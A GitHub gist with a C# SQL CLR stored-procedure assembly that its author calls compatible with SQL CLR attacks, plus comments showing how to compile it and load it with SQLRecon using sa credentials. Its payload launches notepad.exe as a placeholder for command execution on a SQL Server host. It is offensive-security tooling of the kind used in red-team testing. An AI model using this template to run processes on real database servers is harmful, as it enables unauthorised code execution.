Skip to content

Instantly share code, notes, and snippets.

@skahwah
Last active June 27, 2023 14:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save skahwah/c92a8ce41f529f40c14715c91b8f90ce to your computer and use it in GitHub Desktop.
Save skahwah/c92a8ce41f529f40c14715c91b8f90ce to your computer and use it in GitHub Desktop.
Custom assembly that is compatible with SQL CLR attacks.
//C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\sql.cs
//SQLRecon.exe /auth:local /host:SQL02 /username:sa /password:Password123 /module:clr /dll:c:\temp\sql.dll /function:CustomFunctionName
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void CustomFunctionName ()
{
Process proc = new Process();
proc.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
proc.Start();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment